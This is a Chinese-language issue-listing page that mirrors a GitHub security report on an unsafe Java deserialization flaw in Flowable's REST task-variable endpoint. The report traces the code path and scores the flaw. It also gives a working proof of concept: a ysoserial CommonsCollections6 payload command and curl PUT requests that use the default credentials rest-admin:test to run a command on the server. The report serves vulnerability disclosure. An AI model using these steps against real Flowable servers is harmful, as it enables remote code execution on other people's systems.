Hacktoberfest 2026:维护者为十月标记出来的 issue,仍然开放、适合新手。 浏览 Hacktoberfest issue

[SECURITY] Deserialization RCE via PUT /runtime/tasks/{taskId}/variables/{variableName} with type=serializable (CWE-502, CVSS 8.1)

未关闭
#4,293 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

还没有人认领这个 Issue。

评估

难度
5/5
预计耗时
一周以上
新手友好度
30/100
Issue 类型
缺陷
描述清晰度
需要澄清
活跃度
活跃
技术栈
java
领域
api, backend, security

调研方向

Start with TaskVariableResource.updateVariable and TaskVariableBaseResource.setBinaryVariable, especially the multipart serializable path around ObjectInputStream.readObject() and the rest.variables.allow.serializable default. Trace the endpoint and configuration behavior, then establish a safe, tested handling path for uploaded serialized data; done means attacker-controlled input is not deserialized unsafely in the default deployment.

由索引模型根据 Issue 内容生成。

描述

Security Vulnerability Report -- CWE-502

Summary

The Flowable REST API's PUT /runtime/tasks/{taskId}/variables/{variableName} endpoint, when handling multipart/form-data requests with the type parameter set to 'serializable', directly uses ObjectInputStream.readObject() to perform Java native deserialization on uploaded files without any class whitelist/blacklist filtering. This feature is enabled by default (rest.variables.allow.serializable=true), allowing an authenticated attacker to achieve remote code execution (RCE) by crafting a malicious serialized object (CommonsCollections6 gadget chain).

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The Flowable REST API's TaskVariableResource.updateVariable endpoint (PUT /runtime/tasks/{taskId}/variables/{variableName}) supports uploading task variables via multipart/form-data. When the request's type parameter is serializable, the system directly uses java.io.ObjectInputStream.readObject() to perform Java native deserialization on the uploaded file stream, without any class whitelist, ObjectInputFilter, or security filtering mechanism. Since the rest.variables.allow.serializable configuration property defaults to true, this vulnerability is triggerable in default deployments. An authenticated attacker can upload a serialized object containing a malicious gadget chain (e.g., CommonsCollections6, as commons-collections-3.2.2.jar is present in the server classpath) to achieve arbitrary code execution (RCE) on the server.

Exploitation Prerequisites
Condition Description
Authentication Requires valid Basic Auth credentials for the Flowable REST API (@Authorization(value = "basicAuth")). Flowable's default installation creates demo users (rest-admin/test), and many production environments retain default credentials.
Network Accessibility REST API port reachable (internal or external network). Attacker only needs access to the Flowable REST API.
Configuration Dependency Exploitable with default configuration: rest.variables.allow.serializable defaults to true (see TaskVariableBaseResource.afterPropertiesSet()), no additional configuration required.
Business Prerequisites At least one Task must exist in the target Flowable instance, and a variable must exist on that Task for the PUT update. This can be produced through normal operation of the process engine.
Classpath Dependency An exploitable deserialization gadget chain must exist in the server classpath. Flowable 7.1.0 WAR deployment includes commons-collections-3.2.2.jar, making the CommonsCollections6 gadget chain directly exploitable.
Trigger Location

modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/task/TaskVariableBaseResource.java:184-185

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← Unsafe deserialization, no filtering
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}
Data Flow Overview
PUT /runtime/tasks/{taskId}/variables/{variableName}
  Content-Type: multipart/form-data
  Parameters: name=<variable_name>, type=serializable, file=<malicious serialized object>
    ↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94-130)
  request instanceof MultipartHttpServletRequest → true
    ↓
setBinaryVariable((MultipartHttpServletRequest) request, task, false)  (TaskVariableBaseResource.java:123)
  Parses form parameters: name, type, scope
  variableType = "serializable"
    ↓
isSerializableVariableAllowed == true (default)
    ↓
new ObjectInputStream(file.getInputStream()).readObject()  (TaskVariableBaseResource.java:184-185)
  → Deserializes attacker-controlled byte stream → RCE
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data → Unsafe Deserialization

Layer 1: HTTP Entry (TaskVariableResource.java:94-130)

@PutMapping(value = "/runtime/tasks/{taskId}/variables/{variableName}",
    produces = "application/json",
    consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(
    @PathVariable("taskId") String taskId,
    @PathVariable("variableName") String variableName,
    @RequestParam(value = "scope", required = false) String scope,
    HttpServletRequest request) {

    Task task = getTaskFromRequestWithoutAccessCheck(taskId);
    // ...
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, task, false);
    }
  • External input: HttpServletRequest (including multipart file and form parameters), taskId (path parameter)
  • Operation: After verifying taskId exists, checks whether the request is MultipartHttpServletRequest. If so, directly calls setBinaryVariable
  • Data transfer: The entire multipart request (including file stream and form parameters) is passed to setBinaryVariable

Layer 2: Parameter Parsing and File Extraction (TaskVariableBaseResource.java:123-156)

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, Task task, boolean isNew) {
    MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
    // ...
    Map<String, String[]> paramMap = request.getParameterMap();
    for (String parameterName : paramMap.keySet()) {
        if ("type".equalsIgnoreCase(parameterName)) {
            variableType = paramMap.get(parameterName)[0];  // ← Attacker controls type
        }
    }
  • External input: MultipartHttpServletRequest (including form parameters name, type, scope and uploaded file)
  • Operation: Extracts type (attacker sets to "serializable"), name, scope from form parameters; extracts the first file from multipart
  • Data transfer: variableType = "serializable", file (malicious serialized byte stream) continues downward

Layer 3: Type Check Branch (TaskVariableBaseResource.java:164-191)

if (variableType != null) {
    if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
        && !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
        throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
    }
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
    byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
    setVariable(task, variableName, variableBytes, scope, isNew);
} else if (isSerializableVariableAllowed) {     // ← Default true
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();           // ← SINK: Unsafe deserialization
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}
  • External input: variableType (attacker controls to "serializable"), file (attacker-controlled byte stream)
  • Operation: When variableType equals "serializable", enters the deserialization branch. isSerializableVariableAllowed defaults to true (initialized by env.getProperty("rest.variables.allow.serializable", Boolean.class, true)), condition is satisfied. Then directly calls new ObjectInputStream(file.getInputStream()).readObject()
  • Security checks: No filtering whatsoever. No ObjectInputFilter, no class whitelist/blacklist, no custom SecureObjectInputStream. The attacker-provided byte stream is fully trusted
  • Sink: ObjectInputStream.readObject() automatically calls the malicious object's readObject() method during deserialization, triggering the gadget chain to execute arbitrary code
Configuration Default Value Confirmation (TaskVariableBaseResource.java:51-54)
@Override
public void afterPropertiesSet() {
    isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
}
  • Default value is true: Unless the deployer explicitly sets rest.variables.allow.serializable=false, the deserialization feature is enabled by default
CVSS Breakdown

CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vector Value Reason
AV (Attack Vector) Network (N) Triggered via network HTTP request, no local access required
AC (Attack Complexity) Low (L) Attacker only needs to send a multipart HTTP request using a known gadget chain in the classpath
PR (Privileges Required) Low (L) Requires Basic Auth, but Flowable default deployment includes default credentials (rest-admin/test). Any authenticated user can trigger
UI (User Interaction) None (N) No user interaction required, attacker initiates the request
S (Scope) Unchanged (U) Vulnerability impact is limited to the Flowable server process itself
C (Confidentiality) High (H) RCE can read any server files, database credentials, process data
I (Integrity) High (H) RCE can tamper with process definitions, business data, inject malicious workflows
A (Availability) High (H) RCE can stop services, delete data, encrypt filesystem

PoC Verification Report

Flowable REST TaskVariable PUT Endpoint Java Native Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: Flowable REST API TaskVariableResource.updateVariable Unsafe Deserialization RCE
  2. Affected Component/Port: Flowable REST API (default port 8080) / PUT /runtime/tasks/{taskId}/variables/{variableName}
  3. Vulnerability Brief: The PUT /runtime/tasks/{taskId}/variables/{variableName} endpoint, when receiving multipart/form-data requests with type=serializable, directly uses ObjectInputStream.readObject() to deserialize the uploaded file content without any class filtering mechanism. In default configuration (rest.variables.allow.serializable=true), an authenticated attacker can achieve RCE via the CommonsCollections6 gadget chain.
  4. Root Cause Code Snippet:
// TaskVariableBaseResource.java:182-187
} else if (isSerializableVariableAllowed) {
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← Unsafe deserialization, no filtering
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}
  1. Brief Data Flow:
PUT /runtime/tasks/{taskId}/variables/{variableName}
  Content-Type: multipart/form-data
  Parameters: name=testvar, type=serializable, file=<CC6 serialized payload>
    ↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94)
  request instanceof MultipartHttpServletRequest → true
    ↓
setBinaryVariable (TaskVariableBaseResource.java:123)
  Extracts type="serializable", file=<attacker byte stream>
    ↓
isSerializableVariableAllowed == true (default)
    ↓
ObjectInputStream.readObject() (TaskVariableBaseResource.java:185)
  → Deserialization triggers CommonsCollections6 gadget chain → Runtime.exec() → RCE

Exploitation Conditions

Condition Description
Authentication Requires Basic Auth (rest-admin:test are default credentials)
Network Accessibility Internal/external network (REST API HTTP port reachable)
Configuration Dependency Exploitable with default configuration (rest.variables.allow.serializable defaults to true)
Business Prerequisites At least one Task must exist in the target instance, and a variable must already exist on the Task (PUT is an update operation)
Classpath Dependency Server includes commons-collections-3.2.2.jar (Flowable 7.1.0 WAR includes by default)

Exploitation Chain Progress

Successful Exploitation Example:

Chain Stage Location (file:line) Status Evidence / Notes
Entry TaskVariableResource.java:94 ✅ Connected PUT multipart request received by MultipartHttpServletRequest branch
Parameter Parsing TaskVariableBaseResource.java:152 ✅ Connected type="serializable" extracted, variableType set to "serializable"
Type Check TaskVariableBaseResource.java:182 ✅ Connected isSerializableVariableAllowed defaults to true, enters deserialization branch
Sink TaskVariableBaseResource.java:185 ✅ Triggered ObjectInputStream.readObject() deserialized CC6 payload, triggered touch /tmp/pwned_entry_0662 command execution
Conclusion — ✅ Full Chain Closed RCE successful: server created file /tmp/pwned_entry_0662

Exploitation Verification

Step 1: Generate CommonsCollections6 Deserialization Payload

Use ysoserial to generate a serialized payload executing touch /tmp/pwned_entry_0662:

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens java.base/java.io=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned_entry_0662" \
     > payload_cc6.bin
Step 2: Create an Initial Variable on the Target Task (PUT Update Requires Variable to Exist)
curl -s -u rest-admin:test \
  -X POST "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables" \
  -H "Content-Type: application/json" \
  -d '[{"name":"testvar","type":"string","value":"dummy"}]'

Returns:

[
    {
        "name": "testvar",
        "type": "string",
        "value": "dummy",
        "scope": "local"
    }
]
Step 3: Send Deserialization Payload to Trigger RCE
curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar" \
  -F "name=testvar" \
  -F "type=serializable" \
  -F "file=@payload_cc6.bin" \
  -w "\nHTTP_CODE: %{http_code}\n"

Actual execution result: HTTP 200 OK, server returns variable updated to serializable type:

{"name":"testvar","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar/data","scope":"local"}

HTTP_CODE: 200

Verify RCE command execution success:

ls -la /tmp/pwned_entry_0662

Output:

-rw-r----- 1 root root 0 Aug  4 12:28 /tmp/pwned_entry_0662
Step 4: Second Verification (Different Task, Confirming Consistency)

Using a different Task ID and a different command touch /tmp/pwned_entry_0662_h2 for repeated verification:

curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0383aec9-8fff-11f1-a444-02423661ba3a/variables/testvar2" \
  -F "name=testvar2" \
  -F "type=serializable" \
  -F "file=@payload_cc6_h2.bin" \
  -w "\nHTTP_CODE: %{http_code}\n"

Verification:

ls -la /tmp/pwned_entry_0662_h2

Output:

-rw-r----- 1 root root 0 Aug  4 12:30 /tmp/pwned_entry_0662_h2

Conclusion: Two independent tests both successfully triggered RCE. The attacker only needs a valid Basic Auth credential (default rest-admin:test suffices) and a single HTTP PUT request to execute arbitrary system commands on the Flowable REST server with Tomcat process privileges (root). The root cause is ObjectInputStream.readObject() at lines 184-185 of TaskVariableBaseResource.java directly deserializing the attacker-uploaded file content without any class filtering mechanism, and this is enabled by default configuration.

Severity

CVSS v3.1: 8.1 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

主要语言
Java
星标
9.6k
派生
2.9k
平均合并
1 小时 9 分钟
30 天内合并 PR
2

环境准备

  • 没有 Dockerfile 或 Docker Compose 文件
  • 有 Pull Request 模板
  • 没有贡献指南

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

flowable/flowable-engine 的其他 Issue

查看 flowable/flowable-engine 的全部 Issue

相似的 Issue

更多 Java Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。